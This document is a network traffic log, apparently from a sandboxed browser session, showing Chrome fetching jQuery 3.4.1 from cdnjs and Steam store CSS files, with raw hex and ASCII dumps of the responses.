2024-10-07 06:47:02 UTC	520	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:02 UTC	931	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 320805 Expires: Sat, 27 Sep 2025 06:47:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j%2BMYU6883AdJzsmBRu%2FI6l27Ap1DDH74zQngW3Ua2IGmWWBcLBa60J4DSDGYLfFJnz64Yk5LQWqHXj76pCBchQSnlXVc9qovIa8SNy74RPT0vkau%2Bu1HqTEB4G%2FRlDX2azT8gbK3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cebf002dc0f4217-EWR
2024-10-07 06:47:02 UTC	438	IN	Data Raw: 37 62 66 33 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bf3/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 67 3d 74 2e 63 6f 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 70 65 3a 21 30 2c 73 72 63 3a 21 30 2c 6e 6f 6e 63 65 3a 21 30 2c 6e 6f 4d 6f 64 75 6c 65 3a Data Ascii: g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 6c 3d 61 Data Ascii: .pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 30 2c 61 3d 5b 5d 3b 69 66 28 64 28 65 29 29 66 6f 72 28 72 3d Data Ascii: ,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(d(e))for(r=
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 49 2b 22 29 22 29 2c 54 41 47 3a 6e 65 Data Ascii: Exp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:ne
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 21 74 7c 7c 31 21 3d 3d 70 26 26 39 21 3d 3d 70 26 26 31 31 21 3d 3d 70 29 Data Ascii: ={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=typeof t\|\|!t\|\|1!==p&&9!==p&&11!==p)
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 65 3f 31 Data Ascii: ild(t),t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 2c 64 2e 67 65 74 42 79 49 64 3d 63 Data Ascii: e(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=c
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 6c 65 Data Ascii: ypeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option></sele
2024-10-07 06:47:02 UTC	1369	IN	Data Raw: 26 6e 65 77 20 52 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 26 26 31 36 26 65 2e 63 6f Data Ascii: &new RegExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49783	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	556	OUT	GET /public/css/v6/account.css?v=P2WLI8B6ddJe&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:03 UTC	355	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "oN4lh5QBn2Zd" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Mon, 07 Oct 2024 06:47:03 GMT Date: Mon, 07 Oct 2024 06:47:03 GMT Content-Length: 22982 Connection: close
2024-10-07 06:47:03 UTC	16029	IN	Data Raw: 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 34 70 78 3b 0d 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 30 30 30 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2e 65 76 65 6e 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 2e 65 76 65 6e 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 29 0d 0a 7d 0d 0a 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2e 6f 64 64 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 2e Data Ascii: .licenseRow, .transactionRow {position: relative;padding: 5px 14px;border-bottom: 1px solid #000000;line-height: 18px;}.licenseRow.even, .transactionRow.even {background-color: rgba(0,0,0,0.2)}.licenseRow.odd, .transactionRow.
2024-10-07 06:47:03 UTC	6953	IN	Data Raw: 09 70 61 64 64 69 6e 67 3a 20 30 20 30 20 36 70 78 20 30 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 36 38 63 31 66 35 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 63 63 6f 75 6e 74 5f 68 65 61 64 65 72 5f 6c 69 6e 65 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 33 44 35 41 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 30 20 30 70 78 20 34 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 31 70 78 3b 0d 0a 0d 0a 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 63 63 6f 75 6e 74 5f 68 65 61 64 65 72 5f 6c 69 6e 65 2e 6e 6f 69 63 6f 6e 20 7b 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 32 70 78 3b 0d 0a 7d 0d 0a 0d 0a Data Ascii: padding: 0 0 6px 0;color: #68c1f5;}.account_header_line {background-color: #223D5A;padding: 0 0 0px 4px; font-size: 14px; line-height: 31px;color: #ffffff;}.account_header_line.noicon {padding-left: 12px;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49779	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	553	OUT	GET /public/css/v6/cart.css?v=u2FIaietX6aF&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:03 UTC	377	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "u2FIaietX6aF" Server: nginx Content-Type: text/css;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=12399632 Expires: Thu, 27 Feb 2025 19:07:34 GMT Date: Mon, 07 Oct 2024 06:47:02 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:03 UTC	16007	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2a 20 43 53 53 20 44 6f 63 75 6d 65 6e 74 20 2a 2f 0d 0a 0d 0a 62 6f 64 79 2e 76 36 20 7b 0d 0a 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4d 6f 74 69 76 61 20 53 61 6e 73 22 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 20 2f 2a 20 6e 6f 72 6d 61 6c 20 2a 2f 0d 0a 0d 0a 09 09 7d 0d 0a 0d 0a 2e 74 6f 6f 6c 74 69 70 5f 71 5f 63 74 6e 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 34 29 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b Data Ascii: 0000C000/* CSS Document /body.v6 {font-family: "Motiva Sans", Sans-serif;font-weight: normal; / normal */}.tooltip_q_ctn { background: rgba(255,255,255,0.4); color: white; border-radius: 10px; font-size: 11px;
2024-10-07 06:47:03 UTC	15836	IN	Data Raw: 33 70 78 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 72 65 76 69 65 77 5f 72 6f 77 20 2e 72 65 76 69 65 77 5f 72 6f 77 5f 76 61 6c 75 65 20 7b 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 33 35 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 43 36 44 34 44 46 3b 0d 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 09 09 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 70 75 72 63 68 61 73 65 5f 62 6f 74 74 6f 6d 5f 6e 6f 74 65 5f 70 61 79 70 61 6c 67 63 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0d 0a 09 70 61 Data Ascii: 3px;line-height: 15px;}.review_row .review_row_value {padding-left: 135px;color: #C6D4DF;min-height: 15px;font-size: 13px;line-height: 17px;}#purchase_bottom_note_paypalgc {margin-top: 20px;margin-bottom: 15px;pa
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 2d 66 61 6d 69 6c 79 3a 20 22 4d 6f 74 69 76 61 20 53 61 6e 73 22 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 20 2f 2a 20 6c 69 67 68 74 20 2a 2f 0d 0a 0d 0a 09 09 7d 0d 0a 0d 0a 2e 63 68 65 63 6b 6f 75 74 5f 63 6f 6e 74 65 6e 74 2e 63 61 72 74 5f 73 65 6e 64 5f 63 68 6f 69 63 65 20 70 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 68 65 63 6b 6f 75 74 5f 63 6f 6e 74 65 6e 74 2e 63 61 72 74 5f 73 65 6e 64 5f 63 68 6f 69 63 65 20 70 20 65 6d 20 7b 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4d 6f 74 69 76 61 20 53 61 6e 73 22 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 09 66 Data Ascii: -family: "Motiva Sans", Sans-serif;font-weight: 300; /* light */}.checkout_content.cart_send_choice p {margin-top: 5px;}.checkout_content.cart_send_choice p em {font-style: normal;font-family: "Motiva Sans", Sans-serif;f
2024-10-07 06:47:03 UTC	937	IN	Data Raw: 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0d 0a 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 32 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 61 66 65 66 75 6e 64 65 64 69 6e 73 74 72 75 63 74 69 6f 6e 20 2e 62 6c 6f 63 6b 20 7b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 09 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 33 30 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 61 66 65 66 75 6e 64 65 64 69 6e 73 74 Data Ascii: size: 18px; text-transform: uppercase; letter-spacing: 2px;}.cafefundedinstruction .block { font-size: 16px;margin-top: 5px;padding-left: 15px;padding-right: 15px;padding-top: 30px;padding-bottom: 30px;}.cafefundedinst
